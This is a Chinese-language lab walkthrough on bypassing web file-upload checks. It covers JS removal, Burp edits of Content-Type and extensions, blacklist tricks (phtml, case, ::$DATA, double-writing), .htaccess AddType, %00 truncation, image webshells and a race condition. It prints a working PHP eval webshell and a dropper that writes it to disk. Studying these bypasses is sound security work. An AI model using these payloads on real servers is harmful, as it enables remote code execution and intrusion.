客户端校验
一般是在网页上写一段Js脚本,用Js去检测,校验上传文件的后缀名,有白名单也有黑名单。
判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包,所以可以通过抓包来 判断,如果弹出不准上传,但是没有抓到数据包,那么就是前端验证
前端验证非常不可靠,传正常文件改数据包就可以绕过,甚至关闭JS都可以尝试绕过
服务器端校验
服务端检测几个常见的手段:
检查Content-Type (内容类型)
检查后缀 (检查后缀是主流)
检查文件头
黑白名单机制:
黑名单:不允许上传什么
白名单:只允许上传什么
白名单比黑名单更安全
靶场安装
WAMP靶场
客户端绕过
上传1.php提示不允许上传.php的文件
删除浏览器事件
查看源码
发现表单信息
定位表单
删除表单
再次上传
查看图像
上传成功
伪造上传表单
上面的删除事件是直接删除JS的检测,比较残暴,可以使用伪造上传表单,通过伪造一个没有做任何限制的表单,数据依然提交到目标地址,绕过原来的JS代码的限制。
BURP抓包修改绕过
修改格式
将PHP文件的后缀.php改为.jpg等支持上传的文件格式,然后上传修改后的文件
BURP抓包
将jpg文件重新修改为php格式
长传成功
查看上传后的文件
服务器绕过
Content-Type方式绕过
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME类型如下:
文件扩展名 | Mime-Type |
---|---|
.js | application/x-javascript |
.html | text/html |
.jpg | image/jpeg |
.png | image/png |
application/pdf |
在HTTP协议中,使用Content-Type字段表示文件的MIME类型。
这种服务器检测和前端检测没什么太大区别,只是检查一下文件的上传格式,虽然无法通过删除浏览器事件来绕过,但是依旧可以使用BURP抓包,修改绕过。
直接上传1.php文件,显示的Content-Type为application/octet-stream,而服务器上会检测此字段是否为jpeg等符合标准的文件类型,所以我们可以直接修改Content-Type字段的值为image/jpeg
成功上传
查看上传后的文件
黑名单绕过
查看一下源码,发现过滤的内容是以'.asp','.aspx','.php','.jsp'
为后缀的文件类型
很明显这个过滤不严谨,php中,如果默认状态下.php3,.php4,.php5,.phtml 都是会被解析为php的
直接上传
查看源码
修改后缀为phtml
上传成功
查看文件
注意:可能无法正常访问,因为phpstudy的http配置文件中没有允许phtml格式,可以手动添加上
.htaccess文件绕过
什么是.htaccess是
全称是Hypertext Access(超文本入口) .htaccess文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
.htaccess功能:
文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表
很可惜,这么一个强大的功能默认是不开启的 Apache (有伪静态的都可以试试)
例如:AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析
直接上传php文件
查看源码
依旧是使用的黑名单,但是这次看起来就和全面了,具体如下
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
上传jpg文件
查看图片
确实成功上传了,但这不是一张正真的照片,而是jpg格式的php代码
制作.htaccess文件
先写一个txt文件
重命名为.htaccess
C:\Users\44880>ren C:\Users\44880\Desktop\lala.txt .htaccess
命令 具体的初始文件名(路径+文件名) 修改后文件名
windows10和windows11直接重命名就可以了无需通过cmd进行修改
上传.htaccess文件
再次查看1 .jpg图片
成功当做php代码解析
大小写绕过
直接上传.php文件
查看源码
黑名单过滤的很全,但是没有进行大小写的转换
修改后缀为PHp
上传成功
文件后缀(空)绕过
在文件名后面留一个空格,然后上传上去后空格会被自动的省略,对于过滤规则来说有没有空格是不一样的,但是对于操作系统来说,文件名的最后一个是空格会直接将其删除。
直接上传php文件
查看源码
黑名单更加全面了把.htaccess也加上了,大小写也做了限制
再次直接上传php文件
BURP抓包
上传成功
查看文件
文件后缀(点)绕过
查看源码
有较为完善的黑名单,有大小写转换,有收尾去空
上传php文件
BURP抓包
上传成功
查看文件
::$DATA(Windows文件流绕过)
简介
这里利用到了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。
大家肯定不懂这个意思是什么,我们先在CMD运行一个(藏文件的小福利)
#生成一个a.txt内容为abc
C:\Users\44880\Desktop>echo abc >> a.txt
#生成一个b.txt:c.txt内容为abc,但是桌面上只会生成b.txt内容为空
C:\Users\44880\Desktop>echo abc >> b.txt:c.txt
#如果想要查看b.txt:c.txt的内容
C:\Users\44880\Desktop>notepad b.txt:c.txt
然后再试试a.txt::$DATA
::$DATA就是默认不修改文件流的情况
所以生成一个正常的a.txt
#生成d.txt文件内容为abc
C:\Users\44880\Desktop>echo abc >> d.txt::$DATA
利用windows特性,可在后缀名中加” ::$DATA“,绕过检测
查看源码
去点、去空、大小写、黑名单
上传php文件
BURP抓包
上传成功
查看文件
注意:如果直接这样访问会报错,将打开的页面的URL后面的“::$DATA”删掉就好了
构造文件后缀绕过
查看源码
嗯,不错不错该有的都有了,开发可以睡个好觉了,但是我们可以自行构造后缀名来绕过他的检查
比如说文件名的后缀为“php. .”首先删除末尾的“.”,还剩下“. ”,然后检查末尾是否还有点$file_ext = strrchr($file_name, '.');我们这里最后一位不是点是空,然后删除末尾的空,最终还剩下一个“.”,这就是我们上面的文件后缀(点)绕过
上传php文件
BURP抓包
上传成功
进行访问
双写绕过
源码分析
检查后缀名,如果为黑名单的内容会直接转为空,这就直接不管有没有点有没有空什么的了,感觉很安全很好,但是我们依旧可以自行构建,比如php可以构建为pphphp,这样将其中的php删除之后还剩下一个php
上传php文件
BURP抓包
上传成功
查看文件
基于GET的00截断
简介
了解%00实际上我们要先了解0x00,0x00实际上是一个十六进制表示方式,实际上就是表示ascii码值为0,有些函数在处理这个字符的时候会把这个字符当做结束符,他们就读取到这里认为这一段结束了
在文件上传时,如果遇到了白名单机制只允许上传jpg后缀的,在没有解析漏洞的情况下我们该怎么办?
JPG格式并不会被解析,那么我们需要绕过上传过滤。
假如我写了1.php%00.jpg 传参之后,有些过滤都是直接匹配字符串,他强行匹配到了结尾是.jpg,然后允许上传,但是php的函数去执行的时候他读取到0x00认为结束了,那么这个文件就变成了1.php
%00实际上和00截断是一模一样的原理,只不过%00是经过URL编码的,%00解码后就是0x00截断的那个字符
说明
%00只能用于php版本低于5.3的。这里我们需要把phpstudy切换一下版本,把magic_quotes_gpc关闭
切换版本
关闭功能
查看源码
$_FILES['upload_file']['name'] => 你上传文件的文件名
$_FILES['upload_file']['tmp_name']; => 获取临时文件名()
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); => 截取后缀名
strrpos($_FILES['upload_file']['name'],".") => 获取最后一次出现点的位置
substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);=> 获取最后一个点后面的内容(后缀名)
if(in_array($file_ext,$ext_arr)) => 判断上传文件的后缀是否在数组中
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; => 重命名
$_GET['save_path'] => 获取get传参save_path
. => 连接符
rand(10, 99) => 随机值10-99
date("YmdHis") => 当前的一个时间
$file_ext => 后缀
如果直接上传php文件然后通过burp进行修改,修改为php%00.jpg,因为重命名机制的存在,%00无法正常的起到阶段的作用,所以我们需要在get传参中做手脚,添加“.php%00”使得后面的随机数这些全部被截断只保留“.php”
上传jpg文件
BURP抓包
上传成功
查看文件
注意直接查看后缀是不对的,需要将php后面的%00还有一串数字这些删掉
基于POST的00截断
查看源码
与GET唯一不同的地方在于获取文件路径的方式不同,这里是通过POST方式获取
上传jpg图片
BURP抓包
上传失败
懵逼了不
%00是0x00的URL编码
URL 编码 => %xxxx
GET可以接受URL编码因为可以自行解码,但是POST不能,所以我们需要直接修改其16进制值为00
再次长传jpg图片
BURP抓包
上传成功
查看文件
下面还有一题
传参也是POST的
图片马绕过
简介
php上传文件的原理:
- 1:用户提交post请求,上传文件
- 2:服务器接收请求,将文件存储到临时文件
- 3:php解析该临时文件,获得文件类型,文件大小
- 4:php通过判断文件类型,进行移动临时文件到上传目录
- 5:php给前端返回上传成功,并返回地址
在第3步,php是如果解析临时文件的呢?
其实,文件对自身文件内容,有着自己的文件头标识,我们只需要文件转为16进制,然后看各个文件类型对文件头的定义,就可以知道文件的类型了,例如,jpeg图片格式的文件头(2byte)标识为:0xff, 0xd8,结尾(2byte)标识为:0xff,0xd9
通过读取文件的字节并转为16进制,即可知道该文件类型是什么:
php在底层中已经实现了对图片格式的识别,所以无需我们额外实现,关于文件类型头部的定义。
说明
(getimagesize图片类型绕过)(php_exif模块图片类型绕过)(二次渲染绕过)本身是没有漏洞的,因为最多就是上传一张图片马,但是正常情况下是无法解析图片格式的文件的
getimagesize函数
会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的
开启php_exif模块
二次渲染
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
制作图片马
真图片马
C:\Users\44880\Desktop>copy 1.png /b + 123.php lala.png
1.png
123.php
已复制 1 个文件。
1.png是正常的图片
123.php是一句话木马文件
lala.png看起来是一张正常的图片,可以打开,但是通过16进制查看可以看到照片的最后有一句话木马
- 参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
- 参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件
假图片马
直接将php文件重命名为图片格式,在php文件的头部加上图片头部信息
#常见的图片文件头
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61(GIF89a)
PNG:89 50 4E 47
上传图片马
上传成功
图片传上去了,但是一句话木马还在不在需要确认
查看文件
这里只能上传成功,并不能直接利用,因为是png文件如果没有文件包含漏洞这些来利用的话是没有办法执行的
下载图片
一句话木马还存在,上传成功
二次渲染
上传图片马
上传成功?
查看文件
一句话木马没了
解决方案
gif动图绕过
二次渲染不会去渲染前面的几行代码,推荐从3-4行开始写
使用编辑器打开图片使用16进制模式进行编辑,插入一句话木马
上传图片
下载图片
查看一句话木马是否存在
一句话木马还存在,绕过成功
png绕过
条件竞争
简介
竞争条件
发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。
在我理解就是两只哈士奇(线程)同时去抢一个丢出去的飞盘(资源),不知道到底哪只能抢到,此处便形成了竞争。
竞争对象
一般而言我们是上传了文件,上传了但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和unlink,是和删除文件的函数进行竞争。
假如我不断的上传发包,然后我同时也不断的访问那个我们上传上去的文件的地址,我们就开始和服务器的函数比手速了,函数执行都是要时间的,如果我这边上传上去,且没有删除,那个时间可能很短,然后被我访问到了,岂不是就可以执行PHP了~我就比服务器手速快了~
先上传再检测
先上传 检测 删除 =>上传 检测 => 删除之前访问到我们上传的文件是不是就有机会干点什么。
比如说:让功能强大的PHP 来写一句话木马先上传1.php,它的目的是让服务器上的php来创建一个2.php,2.php是一个木马文件,但是这个是系统自身创建的,所以不会进行删除
#1.php
<?php $a = '<?php @eval($_REQUEST[8])?>';file_put_contents('2.php',$a)?>
访问1.php
生成2.php
内容为
<?php @eval($_REQUEST[8])?>
先检测再上传
这就没有办法了
查看源码
if(move_uploaded_file($temp_file, $upload_file))
可以看到这里是先对文件进行保存,然后再对其进行处理
上传jpg文件
访问121.php
BURP抓包
上传121.php
访问121.php
然后开始爆破
查看upload文件夹
截图的时候已经生成6.php了,手慢了,正常是先回看到121.php,但是可能没被访问就被删除了,然后又上传了121.php,直到被访问到了,然后执行php代码,生成6.php文件